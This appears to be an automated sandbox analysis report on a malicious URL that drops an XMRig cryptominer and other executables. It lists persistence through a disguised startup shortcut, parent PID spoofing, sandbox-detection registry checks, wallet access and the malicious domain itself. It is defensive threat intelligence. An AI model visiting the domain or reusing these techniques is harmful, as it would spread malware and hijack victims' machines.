xmrig | hxxp://pesktop[.]com

Analysis

user interaction
yes
max time kernel
287s
max time network
286s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 18:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://pesktop.com
Sample261107-xcnl1set6x

Score

10^/10

adware defense_evasion discovery xmrig miner persistence privilege_escalation ransomware spyware

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 12 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80
PID 4636 created 3168	4636	cfgmonitor5639_d49a.exe	80

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/files/0x000c00000001c6ba-625.dat	family_xmrig
behavioral1/files/0x000c00000001c6ba-625.dat	xmrig
behavioral1/memory/4636-631-0x00007FF73D5D0000-0x00007FF73DDCF000-memory.dmp	xmrig
behavioral1/memory/3520-632-0x00007FF625580000-0x00007FF625DDA000-memory.dmp	xmrig
behavioral1/memory/3520-640-0x00007FF625580000-0x00007FF625DDA000-memory.dmp	xmrig
behavioral1/memory/4636-644-0x00007FF73D5D0000-0x00007FF73DDCF000-memory.dmp	xmrig
behavioral1/memory/3520-650-0x00007FF625580000-0x00007FF625DDA000-memory.dmp	xmrig
behavioral1/memory/3520-666-0x00007FF625580000-0x00007FF625DDA000-memory.dmp	xmrig

Downloads MZ/PE file 4 IoCs

flow	pid	Process
81	4780	curl.exe
88	4636	cfgmonitor5639_d49a.exe
88	4636	cfgmonitor5639_d49a.exe
80	5888	Setup.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaUpdate.lnk	ss16X6aHTHo51qmamyqio.exe

Executes dropped EXE 17 IoCs

pid	Process
3980	t1newtest.exe
4000	0e5c629a0.exe
1792	0e5c629a0.exe
5696	os0B7myi9Feq7Lw09L11.exe
1252	ss16X6aHTHo51qmamyqio.exe
1968	Xsywaz32.exe
4636	cfgmonitor5639_d49a.exe
2052	wildrig.exe
1212	wildrig.exe
4548	wildrig.exe
4520	wildrig.exe
4860	wildrig.exe
4784	wildrig.exe
3080	wildrig.exe
2064	wildrig.exe
3792	wildrig.exe
5404	wildrig.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4636 set thread context of 3520	4636	cfgmonitor5639_d49a.exe	141
PID 4636 set thread context of 4616	4636	cfgmonitor5639_d49a.exe	150

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\TablePlus\uvieshuol.inf	t1newtest.exe
File opened for modification	C:\Program Files (x86)\unintentional\aiardsauects.pdf	explorer.exe
File opened for modification	C:\Program Files\topsyturvy\hyoictauens	explorer.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cfgmonitor5639_d49a.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cfgmonitor5639_d49a.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Xsywaz32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Xsywaz32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4636	chrome.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	cfgmonitor5639_d49a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	cfgmonitor5639_d49a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0 = 56003100000000002b5d6b871000526f616d696e6700400009000400efbe2b5d707c675d8f952e0000007e0000000000020000000000000000000000000000007b53830052006f0061006d0069006e006700000016000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0 = 5600310000000000675db59510005570646174657300400009000400efbe675db595675dba952e000000aac6010000000d000000000000000000000000000000457c98005500700064006100740065007300000016000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\0 = 56003100000000002b5d2f87100057696e646f777300400009000400efbe8158a93a675d58952e000000c1060000000001000000000000000000000000000000d88d1101570069006e0064006f0077007300000016000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\NodeSlot = "7"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0400000003000000020000000100000000000000ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0\0\0\NodeSlot = "8"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell\SniffedFolderType = "Generic"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0 = 5600310000000000675db59510004d6f7a696c6c6100400009000400efbe2b5d4c7f675dba952e00000092b90100000001000000000000000000000000000000457c98004d006f007a0069006c006c006100000016000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0300000004000000020000000100000000000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0 = 820074001c004346534616003100000000002b5d707c120041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe2b5d707c675d58952e0000007d000000000002000000000000000000000000000000dff10d004100700070004400610074006100000042000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 03000000020000000100000000000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0\0\0\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\0\0\NodeSlot = "9"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0\0\0	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\9\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616209"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0\0\0 = 5600310000000000675db995100052756e74696d6500400009000400efbe675db995675dba952e000000b9c6010000000c000000000000000000000000000000fe996b00520075006e00740069006d006500000016000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4\0\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202	explorer.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe
3168	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3168	explorer.exe
3232	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe
Token: SeShutdownPrivilege	3024	chrome.exe
Token: SeCreatePagefilePrivilege	3024	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3024	chrome.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
3232	taskmgr.exe
